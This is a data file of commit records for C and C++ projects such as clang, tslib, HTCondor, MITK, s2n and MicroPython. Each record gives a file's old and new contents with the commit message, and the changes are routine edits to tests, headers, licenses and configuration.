{"commit":"4575d0a769a4b85012bd82f328038a80555917bd","old_file":"config.h","new_file":"config.h","old_contents":"#ifndef CJET_CONFIG_H\n#define CJET_CONFIG_H\n\n#define SERVER_PORT \\\n\t11122\n#define LISTEN_BACKLOG \\\n\t40\n\/*\n * It is somehow beneficial if this size is 32 bit aligned.\n *\/\n#define MAX_MESSAGE_SIZE \\\n\t256\n\n\/* Linux specific configs *\/\n#define MAX_EPOLL_EVENTS \\\n\t100\n\n#endif\n","new_contents":"#ifndef CJET_CONFIG_H\n#define CJET_CONFIG_H\n\n#define SERVER_PORT \\\n\t11122\n#define LISTEN_BACKLOG \\\n\t40\n\/*\n * It is somehow beneficial if this size is 32 bit aligned.\n *\/\n#define MAX_MESSAGE_SIZE \\\n\t512\n\n\/* Linux specific configs *\/\n#define MAX_EPOLL_EVENTS \\\n\t100\n\n#endif\n","subject":"Increase read and write buffer size per peer.","message":"Increase read and write buffer size per peer.\n","lang":"C","license":"mit","repos":"mloy\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet,mloy\/cjet,mloy\/cjet,gatzka\/cjet,gatzka\/cjet"}
{"commit":"04c226aab970da86fc9f59ec3a808cf916458261","old_file":"test\/CodeGen\/arm-neon-fma.c","new_file":"test\/CodeGen\/arm-neon-fma.c","old_contents":"\/\/ REQUIRES: arm-registered-target\n\/\/ RUN: %clang -target thumbv7-none-linux-gnueabihf \\\n\/\/ RUN:   -mcpu=cortex-a8 -mfloat-abi=hard \\\n\/\/ RUN:   -O3 -S -emit-llvm -o - %s | FileCheck %s\n\n#include <arm_neon.h>\n\nfloat32x2_t test_fma_order(float32x2_t accum, float32x2_t lhs, float32x2_t rhs) {\n  return vfma_f32(accum, lhs, rhs);\n\/\/ CHECK: call <2 x float> @llvm.fma.v2f32(<2 x float> %lhs, <2 x float> %rhs, <2 x float> %accum)\n}\n\nfloat32x4_t test_fmaq_order(float32x4_t accum, float32x4_t lhs, float32x4_t rhs) {\n  return vfmaq_f32(accum, lhs, rhs);\n\/\/ CHECK: call <4 x float> @llvm.fma.v4f32(<4 x float> %lhs, <4 x float> %rhs, <4 x float> %accum)\n}\n","new_contents":"\/\/ REQUIRES: arm-registered-target\n\/\/ RUN: %clang_cc1 -triple thumbv7-none-linux-gnueabihf \\\n\/\/ RUN:   -target-abi aapcs \\\n\/\/ RUN:   -target-cpu cortex-a8 \\\n\/\/ RUN:   -mfloat-abi hard \\\n\/\/ RUN:   -ffreestanding \\\n\/\/ RUN:   -O3 -S -emit-llvm -o - %s | FileCheck %s\n\n#include <arm_neon.h>\n\nfloat32x2_t test_fma_order(float32x2_t accum, float32x2_t lhs, float32x2_t rhs) {\n  return vfma_f32(accum, lhs, rhs);\n\/\/ CHECK: call <2 x float> @llvm.fma.v2f32(<2 x float> %lhs, <2 x float> %rhs, <2 x float> %accum)\n}\n\nfloat32x4_t test_fmaq_order(float32x4_t accum, float32x4_t lhs, float32x4_t rhs) {\n  return vfmaq_f32(accum, lhs, rhs);\n\/\/ CHECK: call <4 x float> @llvm.fma.v4f32(<4 x float> %lhs, <4 x float> %rhs, <4 x float> %accum)\n}\n","subject":"Fix recent test for more diverse environments.","message":"Fix recent test for more diverse environments.\n\nI think the main issue was the lack of -ffreestanding, which pulled in\nthe host's stdint.h. After that things went rapidly downhill.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@172653 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang"}
{"commit":"b288888c9a5546844c146d8b7161d24ebbd7c7f7","old_file":"tests\/testutils.h","new_file":"tests\/testutils.h","old_contents":"#ifndef _TESTUTILS_H\n#define _TESTUTILS_H\n\/*\n *  tslib\/tests\/testutils.h\n *\n *  Copyright (C) 2004 Michael Opdenacker <michaelo@handhelds.org>\n *\n * This file is placed under the LGPL.\n *\n *\n * Misc utils for ts test programs\n *\/\n\n#define RESET   \"\\033[0m\"\n#define RED     \"\\033[31m\"\n#define GREEN   \"\\033[32m\"\n#define BLUE    \"\\033[34m\"\n#define YELLOW  \"\\033[33m\"\n\nstruct ts_button {\n\tint x, y, w, h;\n\tchar *text;\n\tint flags;\n#define BUTTON_ACTIVE 0x00000001\n};\n\nvoid button_draw(struct ts_button *button);\nint button_handle(struct ts_button *button, int x, int y, unsigned int pressure);\nvoid getxy(struct tsdev *ts, int *x, int *y);\nvoid ts_flush (struct tsdev *ts);\nvoid print_ascii_logo(void);\n\n#endif \/* _TESTUTILS_H *\/\n","new_contents":"#ifndef _TESTUTILS_H\n#define _TESTUTILS_H\n\/*\n *  tslib\/tests\/testutils.h\n *\n *  Copyright (C) 2004 Michael Opdenacker <michaelo@handhelds.org>\n *\n * This file is placed under the GPL.\n *\n * SPDX-License-Identifier: GPL-2.0+\n *\n *\n * Misc utils for ts test programs\n *\/\n\n#define RESET   \"\\033[0m\"\n#define RED     \"\\033[31m\"\n#define GREEN   \"\\033[32m\"\n#define BLUE    \"\\033[34m\"\n#define YELLOW  \"\\033[33m\"\n\nstruct ts_button {\n\tint x, y, w, h;\n\tchar *text;\n\tint flags;\n#define BUTTON_ACTIVE 0x00000001\n};\n\nvoid button_draw(struct ts_button *button);\nint button_handle(struct ts_button *button, int x, int y, unsigned int pressure);\nvoid getxy(struct tsdev *ts, int *x, int *y);\nvoid ts_flush (struct tsdev *ts);\nvoid print_ascii_logo(void);\n\n#endif \/* _TESTUTILS_H *\/\n","subject":"Fix license statement in header comment and add SPDS identifier","message":"tests: Fix license statement in header comment and add SPDS identifier\n\nThis file had been copied around a long time ago, and included a wrong\nlicense. All files in the tests directory (except for this small header)\nare GPL licensed.\n\nI actually doubt that the copyright notice is accurate here -.-\n\nSigned-off-by: Martin Kepplinger <07ddf30bcca2a0d3056e54ffbfe155352a6af244@posteo.de>\n","lang":"C","license":"lgpl-2.1","repos":"kergoth\/tslib,kergoth\/tslib,kergoth\/tslib,kergoth\/tslib"}
{"commit":"b1e1910a974865a362546d7d4bee35becb69b5e2","old_file":"src\/condor_syscall_lib\/scanner.h","new_file":"src\/condor_syscall_lib\/scanner.h","old_contents":"#define FUNC\t\t1\n#define PARAM\t\t2\n#define PTR_PARAM\t3\n\nstruct token {\n\tint\t\ttok_type;\n\tchar\t*val;\n};\n\nstruct node {\n\tint\t\tnode_type;\n\tchar\t*type_name;\n\tchar\t*id;\n\tint\t\tis_ptr;\n\tint\t\tis_const;\n\tint\t\tis_mapped;\n\tint\t\tis_array;\n\tint\t\textract;\n\tstruct node\t*next;\n\tstruct node *prev;\n};\n\t\nunion yystype {\n\tstruct token tok;\n\tstruct node *node;\n};\n#define YYSTYPE union yystype\n","new_contents":"#define FUNC\t\t1\n#define PARAM\t\t2\n#define PTR_PARAM\t3\n\nstruct token {\n\tint\t\ttok_type;\n\tchar\t*val;\n};\n\nstruct node {\n\tint\t\tnode_type;\n\tchar\t*type_name;\n\tchar\t*id;\n\tint\t\tis_ptr;\n\tint\t\tis_const;\n\tint\t\tis_const_ptr;\n\tint\t\tis_mapped;\n\tint\t\tis_array;\n\tint\t\tin_param;\n\tint\t\tout_param;\n\tint\t\textract;\n\tstruct node\t*next;\n\tstruct node *prev;\n};\n\nstruct p_mode {\n\tint\t\tin;\n\tint\t\tout;\n};\n\n\nunion yystype {\n\tstruct\ttoken tok;\n\tstruct\tnode *node;\n\tstruct\tp_mode param_mode;\n\tint\t\tbool;\n};\n#define YYSTYPE union yystype\n","subject":"Add boolean type so yacc productions can return a boolean value. Add parameter mode type so we can tag parameters as IN, OUT, or BOTH.","message":"Add boolean type so yacc productions can return a boolean value.\nAdd parameter mode type so we can tag parameters as IN, OUT, or BOTH.\n","lang":"C","license":"apache-2.0","repos":"htcondor\/htcondor,djw8605\/condor,htcondor\/htcondor,htcondor\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting,neurodebian\/htcondor,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,djw8605\/condor,neurodebian\/htcondor,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,htcondor\/htcondor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,clalancette\/condor-dcloud,djw8605\/condor,djw8605\/condor,bbockelm\/condor-network-accounting,djw8605\/htcondor,djw8605\/htcondor,bbockelm\/condor-network-accounting,htcondor\/htcondor,zhangzhehust\/htcondor,djw8605\/condor,djw8605\/htcondor,neurodebian\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,djw8605\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,clalancette\/condor-dcloud,neurodebian\/htcondor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,mambelli\/osg-bosco-marco,htcondor\/htcondor,bbockelm\/condor-network-accounting,clalancette\/condor-dcloud,djw8605\/htcondor,djw8605\/htcondor,htcondor\/htcondor,neurodebian\/htcondor,djw8605\/htcondor,clalancette\/condor-dcloud,zhangzhehust\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,neurodebian\/htcondor,djw8605\/condor,neurodebian\/htcondor,neurodebian\/htcondor,clalancette\/condor-dcloud"}
{"commit":"894bbab6314e85b5bdc5b03b97d8561fbe8545a7","old_file":"test\/CodeGen\/PR2001-bitfield-reload.c","new_file":"test\/CodeGen\/PR2001-bitfield-reload.c","old_contents":"","new_contents":"\/\/ RUN: clang --emit-llvm-bc -o - %s | opt --std-compile-opts | llvm-dis > %t &&\n\/\/ RUN: grep \"ret i32\" %t | count 1 &&\n\/\/ RUN: grep \"ret i32 1\" %t | count 1\n\/\/ PR2001\n\n\/* Test that the result of the assignment properly uses the value *in\n   the bitfield* as opposed to the RHS. *\/\nstatic int foo(int i) {\n  struct {\n    int f0 : 2;\n  } x;\n  return (x.f0 = i);\n}\n\nint bar() {\n  return foo(-5) == -1;\n}\n","subject":"Add test case for PR2001.","message":"Add test case for PR2001.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@54352 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"e501b91a4a8f680ed453a6ad372f07d0836ab42b","old_file":"Core\/Code\/Testing\/mitkRenderingTestHelper.h","new_file":"Core\/Code\/Testing\/mitkRenderingTestHelper.h","old_contents":"\/*=========================================================================\n\nProgram:   Medical Imaging & Interaction Toolkit\nLanguage:  C++\nDate:      $Date: 2010-03-31 17:34:48 +0200 (Wed, 31 Mar 2010) $\nVersion:   $Revision: 21985 $\n\nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n\nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE.  See the above copyright notices for more information.\n\n=========================================================================*\/\n\n#ifndef mitkRenderingTestHelper_h\n#define mitkRenderingTestHelper_h\n\n#include <string>\n#include <vtkSmartPointer.h>\n#include <vtkRenderWindow.h>\n#include <mitkRenderWindow.h>\n\nclass vtkRenderWindow;\nclass vtkRenderer;\n\nnamespace mitk\n{\n  class DataStorage;\n}\n\nclass MITK_CORE_EXPORT mitkRenderingTestHelper\n{\n  public:\n    mitkRenderingTestHelper(int width, int height, mitk::DataStorage* ds);\n\n    ~mitkRenderingTestHelper();\n\n    vtkRenderer* GetVtkRenderer();\n    vtkRenderWindow* GetVtkRenderWindow();\n    void SaveAsPNG(std::string fileName);\n\n  protected:\n    mitk::RenderWindow::Pointer m_RenderWindow;\n\n};\n\n#endif\n\n","new_contents":"\/*=========================================================================\n\nProgram:   Medical Imaging & Interaction Toolkit\nLanguage:  C++\nDate:      $Date: 2010-03-31 17:34:48 +0200 (Wed, 31 Mar 2010) $\nVersion:   $Revision: 21985 $\n\nCopyright (c) German Cancer Research Center, Division of Medical and\nBiological Informatics. All rights reserved.\nSee MITKCopyright.txt or http:\/\/www.mitk.org\/copyright.html for details.\n\nThis software is distributed WITHOUT ANY WARRANTY; without even\nthe implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\nPURPOSE.  See the above copyright notices for more information.\n\n=========================================================================*\/\n\n#ifndef mitkRenderingTestHelper_h\n#define mitkRenderingTestHelper_h\n\n#include <string>\n#include <vtkSmartPointer.h>\n#include <vtkRenderWindow.h>\n#include <mitkRenderWindow.h>\n\nclass vtkRenderWindow;\nclass vtkRenderer;\n\nnamespace mitk\n{\n  class DataStorage;\n}\n\nclass mitkRenderingTestHelper\n{\n  public:\n    mitkRenderingTestHelper(int width, int height, mitk::DataStorage* ds);\n\n    ~mitkRenderingTestHelper();\n\n    vtkRenderer* GetVtkRenderer();\n    vtkRenderWindow* GetVtkRenderWindow();\n    void SaveAsPNG(std::string fileName);\n\n  protected:\n    mitk::RenderWindow::Pointer m_RenderWindow;\n\n};\n\n#endif\n\n","subject":"Fix linker warnings in rendering tests","message":"Fix linker warnings in rendering tests\n","lang":"C","license":"bsd-3-clause","repos":"nocnokneo\/MITK,danielknorr\/MITK,iwegner\/MITK,NifTK\/MITK,danielknorr\/MITK,danielknorr\/MITK,NifTK\/MITK,lsanzdiaz\/MITK-BiiG,MITK\/MITK,nocnokneo\/MITK,rfloca\/MITK,fmilano\/mitk,fmilano\/mitk,lsanzdiaz\/MITK-BiiG,rfloca\/MITK,MITK\/MITK,lsanzdiaz\/MITK-BiiG,iwegner\/MITK,lsanzdiaz\/MITK-BiiG,iwegner\/MITK,MITK\/MITK,NifTK\/MITK,danielknorr\/MITK,fmilano\/mitk,fmilano\/mitk,rfloca\/MITK,danielknorr\/MITK,MITK\/MITK,iwegner\/MITK,RabadanLab\/MITKats,danielknorr\/MITK,NifTK\/MITK,danielknorr\/MITK,nocnokneo\/MITK,nocnokneo\/MITK,RabadanLab\/MITKats,nocnokneo\/MITK,fmilano\/mitk,iwegner\/MITK,RabadanLab\/MITKats,nocnokneo\/MITK,rfloca\/MITK,MITK\/MITK,rfloca\/MITK,lsanzdiaz\/MITK-BiiG,fmilano\/mitk,nocnokneo\/MITK,iwegner\/MITK,lsanzdiaz\/MITK-BiiG,NifTK\/MITK,RabadanLab\/MITKats,MITK\/MITK,rfloca\/MITK,RabadanLab\/MITKats,RabadanLab\/MITKats,NifTK\/MITK,fmilano\/mitk,lsanzdiaz\/MITK-BiiG,rfloca\/MITK,lsanzdiaz\/MITK-BiiG"}
{"commit":"3cd04e32a8cd9497bd2882d7767e40ae9a936e24","old_file":"test\/sanitizer_common\/print_address.h","new_file":"test\/sanitizer_common\/print_address.h","old_contents":"#include <stdio.h>\n#include <stdarg.h>\n\nvoid print_address(const char *str, int n, ...) {\n  fprintf(stderr, \"%s\", str);\n  va_list ap;\n  va_start(ap, n);\n  while (n--) {\n    void *p = va_arg(ap, void *);\n#if defined(__x86_64__) || defined(__aarch64__) || defined(__powerpc64__)\n    \/\/ On FreeBSD, the %p conversion specifier works as 0x%x and thus does not\n    \/\/ match to the format used in the diagnotic message.\n    fprintf(stderr, \"0x%012lx \", (unsigned long) p);\n#elif defined(__i386__) || defined(__arm__)\n    fprintf(stderr, \"0x%8lx \", (unsigned long) p);\n#elif defined(__mips64)\n    fprintf(stderr, \"0x%010lx \", (unsigned long) p);\n#endif\n  }\n  fprintf(stderr, \"\\n\");\n}\n","new_contents":"#include <stdio.h>\n#include <stdarg.h>\n\nvoid print_address(const char *str, int n, ...) {\n  fprintf(stderr, \"%s\", str);\n  va_list ap;\n  va_start(ap, n);\n  while (n--) {\n    void *p = va_arg(ap, void *);\n#if defined(__x86_64__) || defined(__aarch64__) || defined(__powerpc64__)\n    \/\/ On FreeBSD, the %p conversion specifier works as 0x%x and thus does not\n    \/\/ match to the format used in the diagnotic message.\n    fprintf(stderr, \"0x%012lx \", (unsigned long) p);\n#elif defined(__i386__) || defined(__arm__)\n    fprintf(stderr, \"0x%08lx \", (unsigned long) p);\n#elif defined(__mips64)\n    fprintf(stderr, \"0x%010lx \", (unsigned long) p);\n#endif\n  }\n  fprintf(stderr, \"\\n\");\n}\n","subject":"Use 0-padding for i386 and arm print format specifiers","message":"Use 0-padding for i386 and arm print format specifiers\n\nSummary:\nThis is used for the other architectures in print_address, but is\nmissing from i386 and arm.\n\nReviewers: m.ostapenko, spetrovic\n\nSubscribers: aemerson, rengolin, llvm-commits, kubamracek\n\nDifferential Revision: https:\/\/reviews.llvm.org\/D31977\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@300065 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"3fff79f7dd1d8821a2d6c730f2aff3f994a15558","old_file":"crypto\/s2n_hkdf.h","new_file":"crypto\/s2n_hkdf.h","old_contents":"\/*\n * Copyright 2016 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\").\n * You may not use this file except in compliance with the License.\n * A copy of the License is located at\n *\n *  http:\/\/aws.amazon.com\/apache2.0\n *\n * or in the \"license\" file accompanying this file. This file is distributed\n * on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\n * express or implied. See the License for the specific language governing\n * permissions and limitations under the License.\n *\/\n\n#pragma once\n\n#include <stdint.h>\n\n#include \"utils\/s2n_blob.h\"\n\n#include \"crypto\/s2n_hmac.h\"\n\nextern int s2n_hkdf(struct s2n_hmac_state *hmac, s2n_hmac_algorithm alg, const struct s2n_blob *salt,\n                    const struct s2n_blob *key, const struct s2n_blob *info, struct s2n_blob *output);\n","new_contents":"\/*\n * Copyright 2016 Amazon.com, Inc. or its affiliates. All Rights Reserved.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\").\n * You may not use this file except in compliance with the License.\n * A copy of the License is located at\n *\n *  http:\/\/aws.amazon.com\/apache2.0\n *\n * or in the \"license\" file accompanying this file. This file is distributed\n * on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either\n * express or implied. See the License for the specific language governing\n * permissions and limitations under the License.\n *\/\n\n#pragma once\n\n#include <stdint.h>\n\n#include \"utils\/s2n_blob.h\"\n\n#include \"crypto\/s2n_hmac.h\"\n\nextern int s2n_hkdf(struct s2n_hmac_state *hmac, s2n_hmac_algorithm alg, const struct s2n_blob *salt,\n                    const struct s2n_blob *key, const struct s2n_blob *info, struct s2n_blob *output);\n\nextern int s2n_hkdf_extract(struct s2n_hmac_state *hmac, s2n_hmac_algorithm alg, const struct s2n_blob *salt,\n                            const struct s2n_blob *key, struct s2n_blob *pseudo_rand_key);\n\nextern int s2n_hkdf_expand_label(struct s2n_hmac_state *hmac, s2n_hmac_algorithm alg, const struct s2n_blob *secret, const struct s2n_blob *label,\n                                 const struct s2n_blob *context, struct s2n_blob *output);\n","subject":"Add missing header changes from previous commit","message":"Add missing header changes from previous commit\n","lang":"C","license":"apache-2.0","repos":"wcs1only\/s2n,awslabs\/s2n,gibson-compsci\/s2n,PKRoma\/s2n,awslabs\/s2n,PKRoma\/s2n,colmmacc\/s2n,alexeblee\/s2n,raycoll\/s2n,raycoll\/s2n,wcs1only\/s2n,PKRoma\/s2n,alexeblee\/s2n,gibson-compsci\/s2n,wcs1only\/s2n,colmmacc\/s2n,raycoll\/s2n,wcs1only\/s2n,colmmacc\/s2n,wcs1only\/s2n,awslabs\/s2n,raycoll\/s2n,PKRoma\/s2n,PKRoma\/s2n,alexeblee\/s2n,raycoll\/s2n,alexeblee\/s2n,gibson-compsci\/s2n,alexeblee\/s2n,gibson-compsci\/s2n,wcs1only\/s2n,PKRoma\/s2n,gibson-compsci\/s2n,PKRoma\/s2n,wcs1only\/s2n,wcs1only\/s2n,colmmacc\/s2n,awslabs\/s2n,awslabs\/s2n,colmmacc\/s2n,raycoll\/s2n,colmmacc\/s2n,awslabs\/s2n,alexeblee\/s2n,gibson-compsci\/s2n,PKRoma\/s2n"}
{"commit":"412865c8ea9f94a487d9887360b8adb6032e6a80","old_file":"test\/Profile\/profile-does-not-exist.c","new_file":"test\/Profile\/profile-does-not-exist.c","old_contents":"\/\/ RUN: not %clang_cc1 -emit-llvm %s -fprofile-instr-use=%t.nonexistent.profdata 2>&1 | FileCheck %s\n\n\/\/ CHECK: error: Could not read profile:\n\/\/ CHECK-NOT: Assertion failed\n","new_contents":"\/\/ RUN: not %clang_cc1 -emit-llvm %s -o - -fprofile-instr-use=%t.nonexistent.profdata 2>&1 | FileCheck %s\n\n\/\/ CHECK: error: Could not read profile:\n\/\/ CHECK-NOT: Assertion failed\n","subject":"Fix this test so it doesn't try to open a file to write to the source tree","message":"Fix this test so it doesn't try to open a file to write to the source tree\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@234173 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"75488d5639819f31b01f76433b82d6259323230d","old_file":"unix-cpy\/mpconfigport.h","new_file":"unix-cpy\/mpconfigport.h","old_contents":"\/\/ options to control how Micro Python is built\n\n#define MICROPY_EMIT_CPYTHON        (1)\n#define MICROPY_ENABLE_LEXER_UNIX   (1)\n#define MICROPY_ENABLE_FLOAT        (1)\n\n\/\/ type definitions for the specific machine\n\n#ifdef __LP64__\ntypedef long machine_int_t; \/\/ must be pointer size\ntypedef unsigned long machine_uint_t; \/\/ must be pointer size\n#else\n\/\/ These are definitions for machines where sizeof(int) == sizeof(void*),\n\/\/ regardless for actual size.\ntypedef int machine_int_t; \/\/ must be pointer size\ntypedef unsigned int machine_uint_t; \/\/ must be pointer size\n#endif\n\n#define BYTES_PER_WORD sizeof(machine_int_t)\n\ntypedef void *machine_ptr_t; \/\/ must be of pointer size\ntypedef const void *machine_const_ptr_t; \/\/ must be of pointer size\ntypedef double machine_float_t;\n\nmachine_float_t machine_sqrt(machine_float_t x);\n","new_contents":"\/\/ options to control how Micro Python is built\n\n#define MICROPY_EMIT_CPYTHON        (1)\n#define MICROPY_ENABLE_LEXER_UNIX   (1)\n#define MICROPY_FLOAT_IMPL          (MICROPY_FLOAT_IMPL_DOUBLE)\n\n\/\/ type definitions for the specific machine\n\n#ifdef __LP64__\ntypedef long machine_int_t; \/\/ must be pointer size\ntypedef unsigned long machine_uint_t; \/\/ must be pointer size\n#else\n\/\/ These are definitions for machines where sizeof(int) == sizeof(void*),\n\/\/ regardless for actual size.\ntypedef int machine_int_t; \/\/ must be pointer size\ntypedef unsigned int machine_uint_t; \/\/ must be pointer size\n#endif\n\n#define BYTES_PER_WORD sizeof(machine_int_t)\n\ntypedef void *machine_ptr_t; \/\/ must be of pointer size\ntypedef const void *machine_const_ptr_t; \/\/ must be of pointer size\ntypedef double machine_float_t;\n\nmachine_float_t machine_sqrt(machine_float_t x);\n","subject":"Switch to use MICROPY_FLOAT_IMPL config define.","message":"unix-cpy: Switch to use MICROPY_FLOAT_IMPL config define.\n","lang":"C","license":"mit","repos":"micropython\/micropython-esp32,SHA2017-badge\/micropython-esp32,torwag\/micropython,AriZuu\/micropython,xhat\/micropython,utopiaprince\/micropython,AriZuu\/micropython,ahotam\/micropython,heisewangluo\/micropython,firstval\/micropython,hiway\/micropython,cloudformdesign\/micropython,mianos\/micropython,kostyll\/micropython,Timmenem\/micropython,xuxiaoxin\/micropython,matthewelse\/micropython,rubencabrera\/micropython,Vogtinator\/micropython,bvernoux\/micropython,infinnovation\/micropython,deshipu\/micropython,cnoviello\/micropython,henriknelson\/micropython,omtinez\/micropython,adamkh\/micropython,lowRISC\/micropython,mgyenik\/micropython,martinribelotta\/micropython,infinnovation\/micropython,kerneltask\/micropython,trezor\/micropython,dxxb\/micropython,ryannathans\/micropython,mianos\/micropython,blazewicz\/micropython,tuc-osg\/micropython,methoxid\/micropystat,lowRISC\/micropython,rubencabrera\/micropython,utopiaprince\/micropython,ericsnowcurrently\/micropython,pfalcon\/micropython,torwag\/micropython,ganshun666\/micropython,xyb\/micropython,blmorris\/micropython,hosaka\/micropython,adafruit\/micropython,firstval\/micropython,ChuckM\/micropython,feilongfl\/micropython,orionrobots\/micropython,SungEun-Steve-Kim\/test-mp,paul-xxx\/micropython,adamkh\/micropython,Peetz0r\/micropython-esp32,ceramos\/micropython,aitjcize\/micropython,martinribelotta\/micropython,micropython\/micropython-esp32,KISSMonX\/micropython,rubencabrera\/micropython,dmazzella\/micropython,mpalomer\/micropython,supergis\/micropython,ceramos\/micropython,ChuckM\/micropython,danicampora\/micropython,firstval\/micropython,cwyark\/micropython,dhylands\/micropython,slzatz\/micropython,Timmenem\/micropython,ceramos\/micropython,noahwilliamsson\/micropython,cwyark\/micropython,stonegithubs\/micropython,suda\/micropython,mpalomer\/micropython,ChuckM\/micropython,blmorris\/micropython,MrSurly\/micropython-esp32,methoxid\/micropystat,blazewicz\/micropython,oopy\/micropython,EcmaXp\/micropython,AriZuu\/micropython,dmazzella\/micropython,feilongfl\/micropython,bvernoux\/micropython,jlillest\/micropython,tdautc19841202\/micropython,jlillest\/micropython,trezor\/micropython,stonegithubs\/micropython,redbear\/micropython,hosaka\/micropython,ganshun666\/micropython,warner83\/micropython,neilh10\/micropython,lbattraw\/micropython,ahotam\/micropython,skybird6672\/micropython,bvernoux\/micropython,HenrikSolver\/micropython,oopy\/micropython,kostyll\/micropython,aethaniel\/micropython,galenhz\/micropython,MrSurly\/micropython-esp32,paul-xxx\/micropython,torwag\/micropython,matthewelse\/micropython,vriera\/micropython,PappaPeppar\/micropython,pozetroninc\/micropython,selste\/micropython,MrSurly\/micropython,ruffy91\/micropython,tuc-osg\/micropython,jmarcelino\/pycom-micropython,danicampora\/micropython,chrisdearman\/micropython,heisewangluo\/micropython,ernesto-g\/micropython,praemdonck\/micropython,swegener\/micropython,ahotam\/micropython,pfalcon\/micropython,alex-robbins\/micropython,redbear\/micropython,drrk\/micropython,infinnovation\/micropython,cloudformdesign\/micropython,henriknelson\/micropython,Vogtinator\/micropython,adamkh\/micropython,torwag\/micropython,TDAbboud\/micropython,dinau\/micropython,turbinenreiter\/micropython,martinribelotta\/micropython,adafruit\/micropython,redbear\/micropython,hosaka\/micropython,SungEun-Steve-Kim\/test-mp,MrSurly\/micropython-esp32,SungEun-Steve-Kim\/test-mp,dmazzella\/micropython,adafruit\/circuitpython,tralamazza\/micropython,henriknelson\/micropython,jimkmc\/micropython,SHA2017-badge\/micropython-esp32,mpalomer\/micropython,methoxid\/micropystat,KISSMonX\/micropython,jlillest\/micropython,galenhz\/micropython,alex-march\/micropython,tobbad\/micropython,kerneltask\/micropython,drrk\/micropython,aethaniel\/micropython,dinau\/micropython,pramasoul\/micropython,alex-march\/micropython,tobbad\/micropython,xuxiaoxin\/micropython,vitiral\/micropython,deshipu\/micropython,alex-robbins\/micropython,selste\/micropython,Timmenem\/micropython,tdautc19841202\/micropython,mgyenik\/micropython,feilongfl\/micropython,lowRISC\/micropython,ryannathans\/micropython,cwyark\/micropython,micropython\/micropython-esp32,EcmaXp\/micropython,noahwilliamsson\/micropython,mhoffma\/micropython,ahotam\/micropython,adafruit\/circuitpython,skybird6672\/micropython,mianos\/micropython,PappaPeppar\/micropython,ernesto-g\/micropython,omtinez\/micropython,aitjcize\/micropython,vitiral\/micropython,chrisdearman\/micropython,heisewangluo\/micropython,cnoviello\/micropython,swegener\/micropython,ernesto-g\/micropython,ryannathans\/micropython,mpalomer\/micropython,rubencabrera\/micropython,mianos\/micropython,mgyenik\/micropython,emfcamp\/micropython,neilh10\/micropython,trezor\/micropython,lowRISC\/micropython,ericsnowcurrently\/micropython,slzatz\/micropython,xhat\/micropython,jmarcelino\/pycom-micropython,AriZuu\/micropython,ruffy91\/micropython,galenhz\/micropython,ganshun666\/micropython,dxxb\/micropython,mpalomer\/micropython,toolmacher\/micropython,jimkmc\/micropython,supergis\/micropython,Vogtinator\/micropython,pfalcon\/micropython,ruffy91\/micropython,bvernoux\/micropython,omtinez\/micropython,PappaPeppar\/micropython,swegener\/mic